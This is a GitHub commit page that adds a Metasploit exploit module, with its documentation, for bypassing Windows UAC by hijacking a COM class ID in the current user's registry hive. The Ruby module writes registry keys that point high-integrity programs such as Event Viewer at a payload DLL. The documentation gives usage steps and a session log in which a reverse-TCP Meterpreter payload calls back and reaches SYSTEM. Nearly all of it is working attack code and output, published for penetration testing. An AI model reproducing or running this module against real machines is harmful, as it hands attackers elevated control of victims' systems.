-
Notifications
You must be signed in to change notification settings - Fork 13.7k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #8789, Add COM class ID hijack method for bypassing UAC
- Loading branch information
Showing
2 changed files
with
326 additions
and
0 deletions.
There are no files selected for viewing
115 changes: 115 additions & 0 deletions
115
documentation/modules/exploit/windows/local/bypassuac_comhijack.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,115 @@ | ||
## Intro | ||
|
||
This module will bypass UAC on Windows 7 through to 10 RS3 by hijacking a COM Class ID | ||
that is located in the current user hive. This key contains a reference to a DLL that | ||
contains a chosen payload. Multiple COM vectors are defined in this module and one is | ||
chosen at random at runtime. | ||
|
||
The module modifies the registry in order for this exploit to work. The modification is | ||
reverted once the exploitation attempt has finished. | ||
|
||
This module requires that the payload architecture matches the target operating system | ||
architecture. This is due to the fact that the underlying binaries that are invoked | ||
match the system architecture. | ||
|
||
If a custom DLL is to be used with `EXE::Custom`, that DLL must match the system | ||
architecture, and should call `ExitProcess()` after starting the payload in a | ||
different process. | ||
|
||
## Usage | ||
|
||
1. Create a session on the target system under the context of a local administrative user. | ||
1. Begin interacting with the module: `use exploit/windows/local/bypassuac_comhijack`. | ||
1. Set the `PAYLOAD` and configure it correctly, making sure the architecture is correct. | ||
1. If an existing handler is configured to receive the elevated session, then the module's | ||
handler should be disabled: `set DisablePayloadHandler true`. | ||
1. Make sure that the `SESSION` value is set to the existing session identifier. | ||
1. Invoke the module: `run`. | ||
|
||
## Scenario | ||
|
||
``` | ||
msf exploit(bypassuac_comhijack) > sessions | ||
Active sessions | ||
=============== | ||
Id Type Information Connection | ||
-- ---- ----------- ---------- | ||
1 meterpreter x64/windows DESKTOP-5A73R51\oj @ DESKTOP-5A73R51 xxx.xx.255.1:8443 -> xxx.xx.255.159:51474 (xxx.xx.255.159) | ||
msf exploit(bypassuac_comhijack) > sessions -1 | ||
[*] Starting interaction with 1... | ||
meterpreter > sysinfo | ||
Computer : DESKTOP-5A73R51 | ||
OS : Windows 10 (Build 14393). | ||
Architecture : x64 | ||
System Language : en_AU | ||
Domain : WORKGROUP | ||
Logged On Users : 2 | ||
Meterpreter : x64/windows | ||
meterpreter > getsystem | ||
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted: | ||
[-] Named Pipe Impersonation (In Memory/Admin) | ||
[-] Named Pipe Impersonation (Dropper/Admin) | ||
[-] Token Duplication (In Memory/Admin) | ||
meterpreter > background | ||
[*] Backgrounding session 1... | ||
msf exploit(bypassuac_comhijack) > options | ||
Module options (exploit/windows/local/bypassuac_comhijack): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
SESSION 1 yes The session to run this module on. | ||
Payload options (windows/x64/meterpreter/reverse_tcp): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) | ||
LHOST xxx.xx.255.1 yes The listen address | ||
LPORT 8443 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
0 Automatic | ||
msf exploit(bypassuac_comhijack) > run | ||
[*] [2017.08.16-12:58:31] UAC is Enabled, checking level... | ||
[+] [2017.08.16-12:58:31] Part of Administrators group! Continuing... | ||
[+] [2017.08.16-12:58:32] UAC is set to Default | ||
[+] [2017.08.16-12:58:32] BypassUAC can bypass this setting, continuing... | ||
[*] [2017.08.16-12:58:33] Targeting Event Viewer via HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931} ... | ||
[*] [2017.08.16-12:58:33] Uploading payload to C:\Users\oj\AppData\Local\Temp\DJAyEYXA.dll ... | ||
[*] [2017.08.16-12:58:33] Executing high integrity process ... | ||
[*] [2017.08.16-12:58:34] Sending stage (1188415 bytes) to xxx.xx.255.159 | ||
[*] Meterpreter session 2 opened (xxx.xx.255.1:8443 -> xxx.xx.255.159:51480) at 2017-08-16 12:58:35 +1000 | ||
[*] [2017.08.16-12:58:38] Cleaining up registry ... | ||
[!] [2017.08.16-12:58:39] This exploit may require manual cleanup of 'C:\Users\oj\AppData\Local\Temp\DJAyEYXA.dll' on the target | ||
msf exploit(bypassuac_comhijack) > sessions | ||
Active sessions | ||
=============== | ||
Id Type Information Connection | ||
-- ---- ----------- ---------- | ||
1 meterpreter x64/windows DESKTOP-5A73R51\oj @ DESKTOP-5A73R51 xxx.xx.255.1:8443 -> xxx.xx.255.159:51474 (xxx.xx.255.159) | ||
2 meterpreter x64/windows DESKTOP-5A73R51\oj @ DESKTOP-5A73R51 xxx.xx.255.1:8443 -> xxx.xx.255.159:51480 (xxx.xx.255.159) | ||
msf exploit(bypassuac_comhijack) > sessions -1 | ||
[*] Starting interaction with 2... | ||
meterpreter > getsystem | ||
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). | ||
meterpreter > getuid | ||
Server username: NT AUTHORITY\SYSTEM | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,211 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'msf/core/exploit/exe' | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = ExcellentRanking | ||
|
||
include Post::Windows::Priv | ||
include Post::Windows::Registry | ||
include Post::Windows::Runas | ||
include Exploit::FileDropper | ||
|
||
CLSID_PATH = "HKCU\\Software\\Classes\\CLSID" | ||
DEFAULT_VAL_NAME = '' # This maps to "(Default)" | ||
|
||
def initialize(info={}) | ||
super(update_info(info, | ||
'Name' => 'Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)', | ||
'Description' => %q{ | ||
This module will bypass Windows UAC by creating COM handler registry entries in the | ||
HKCU hive. When certain high integrity processes are loaded, these registry entries | ||
are referenced resulting in the process loading user-controlled DLLs. These DLLs | ||
contain the payloads that result in elevated sessions. Registry key modifications | ||
are cleaned up after payload invocation. | ||
This module requires the architecture of the payload to match the OS, but the | ||
current low-privilege Meterpreter session architecture can be different. If | ||
specifying EXE::Custom your DLL should call ExitProcess() after starting your | ||
payload in a separate process. | ||
This module invokes the target binary via cmd.exe on the target. Therefore if | ||
cmd.exe access is restricted, this module will not run correctly. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'Matt Nelson', # UAC bypass discovery and research | ||
'b33f', # UAC bypass discovery and research | ||
'OJ Reeves' # MSF module | ||
], | ||
'Platform' => ['win'], | ||
'SessionTypes' => ['meterpreter'], | ||
'Targets' => [ | ||
['Automatic', {}] | ||
], | ||
'DefaultTarget' => 0, | ||
'References' => [ | ||
[ | ||
'URL', 'https://www.youtube.com/watch?v=3gz1QmiHhss', | ||
'URL', 'https://wikileaks.org/ciav7p1/cms/page_13763373.html', | ||
'URL', 'https://github.com/FuzzySecurity/Defcon25/Defcon25_UAC-0day-All-Day_v1.2.pdf', | ||
] | ||
], | ||
'DisclosureDate'=> 'Jan 01 1900' | ||
)) | ||
end | ||
|
||
def check | ||
if sysinfo['OS'] =~ /Windows (7|8|10|2008|2012|2016)/ && is_uac_enabled? | ||
Exploit::CheckCode::Appears | ||
else | ||
Exploit::CheckCode::Safe | ||
end | ||
end | ||
|
||
def exploit | ||
# Make sure we have a sane payload configuration | ||
if sysinfo['Architecture'] != payload_instance.arch.first | ||
fail_with(Failure::BadConfig, "#{payload_instance.arch.first} payload selected for #{sysinfo['Architecture']} system") | ||
end | ||
|
||
registry_view = REGISTRY_VIEW_NATIVE | ||
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 | ||
registry_view = REGISTRY_VIEW_64_BIT | ||
end | ||
|
||
# Validate that we can actually do things before we bother | ||
# doing any more work | ||
check_permissions! | ||
|
||
case get_uac_level | ||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, | ||
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, | ||
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT | ||
fail_with(Failure::NotVulnerable, | ||
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..." | ||
) | ||
when UAC_DEFAULT | ||
print_good('UAC is set to Default') | ||
print_good('BypassUAC can bypass this setting, continuing...') | ||
when UAC_NO_PROMPT | ||
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') | ||
shell_execute_exe | ||
return | ||
end | ||
|
||
payload = generate_payload_dll({:dll_exitprocess => true}) | ||
commspec = expand_path('%COMSPEC%') | ||
dll_name = expand_path("%TEMP%\\#{rand_text_alpha(8)}.dll") | ||
hijack = hijack_com(registry_view, dll_name) | ||
|
||
unless hijack && hijack[:cmd_path] | ||
fail_with(Failure::Unknown, 'Unable to hijack COM') | ||
end | ||
|
||
begin | ||
print_status("Targeting #{hijack[:name]} via #{hijack[:root_key]} ...") | ||
print_status("Uploading payload to #{dll_name} ...") | ||
write_file(dll_name, payload) | ||
register_file_for_cleanup(dll_name) | ||
|
||
print_status("Executing high integrity process ...") | ||
args = "/c #{expand_path(hijack[:cmd_path])}" | ||
args << " #{hijack[:cmd_args]}" if hijack[:cmd_args] | ||
|
||
# Launch the application from cmd.exe instead of directly so that we can | ||
# avoid the dreaded 740 error (elevation requried) | ||
client.sys.process.execute(commspec, args, {'Hidden' => true}) | ||
|
||
# Wait a copule of seconds to give the payload a chance to fire before cleaning up | ||
Rex::sleep(5) | ||
|
||
handler(client) | ||
|
||
ensure | ||
print_status("Cleaining up registry ...") | ||
registry_deletekey(hijack[:root_key], registry_view) | ||
end | ||
end | ||
|
||
# TODO: Add more hijack points when they're known. | ||
# TODO: when more class IDs are found for individual hijackpoints | ||
# they can be added to the array of class IDs. | ||
@@hijack_points = [ | ||
{ | ||
name: 'Event Viewer', | ||
cmd_path: '%WINDIR%\System32\eventvwr.exe', | ||
class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931'] | ||
}, | ||
{ | ||
name: 'Computer Managment', | ||
cmd_path: '%WINDIR%\System32\mmc.exe', | ||
cmd_args: 'CompMgmt.msc', | ||
class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931'] | ||
} | ||
] | ||
|
||
# | ||
# Perform the hijacking of COM class IDS. This function chooses a random | ||
# application target and a random class id associated with it before | ||
# modifying the registry. | ||
# | ||
def hijack_com(registry_view, dll_path) | ||
target = @@hijack_points.sample | ||
target_clsid = target[:class_ids].sample | ||
root_key = "#{CLSID_PATH}\\{#{target_clsid}}" | ||
inproc_key = "#{root_key}\\InProcServer32" | ||
shell_key = "#{root_key}\\ShellFolder" | ||
|
||
registry_createkey(root_key, registry_view) | ||
registry_createkey(inproc_key, registry_view) | ||
registry_createkey(shell_key, registry_view) | ||
|
||
registry_setvaldata(inproc_key, DEFAULT_VAL_NAME, dll_path, 'REG_SZ', registry_view) | ||
registry_setvaldata(inproc_key, 'ThreadingModel', 'Apartment', 'REG_SZ', registry_view) | ||
registry_setvaldata(inproc_key, 'LoadWithoutCOM', '', 'REG_SZ', registry_view) | ||
registry_setvaldata(shell_key, 'HideOnDesktop', '', 'REG_SZ', registry_view) | ||
registry_setvaldata(shell_key, 'Attributes', 0xf090013d, 'REG_DWORD', registry_view) | ||
|
||
{ | ||
name: target[:name], | ||
cmd_path: target[:cmd_path], | ||
cmd_args: target[:cmd_args], | ||
root_key: root_key | ||
} | ||
end | ||
|
||
def check_permissions! | ||
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? | ||
|
||
# Check if you are an admin | ||
vprint_status('Checking admin status...') | ||
admin_group = is_in_admin_group? | ||
|
||
unless check == Exploit::CheckCode::Appears | ||
fail_with(Failure::NotVulnerable, "Target is not vulnerable.") | ||
end | ||
|
||
unless is_in_admin_group? | ||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') | ||
end | ||
|
||
print_status('UAC is Enabled, checking level...') | ||
if admin_group.nil? | ||
print_error('Either whoami is not there or failed to execute') | ||
print_error('Continuing under assumption you already checked...') | ||
else | ||
if admin_group | ||
print_good('Part of Administrators group! Continuing...') | ||
else | ||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') | ||
end | ||
end | ||
|
||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low] | ||
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') | ||
end | ||
end | ||
end |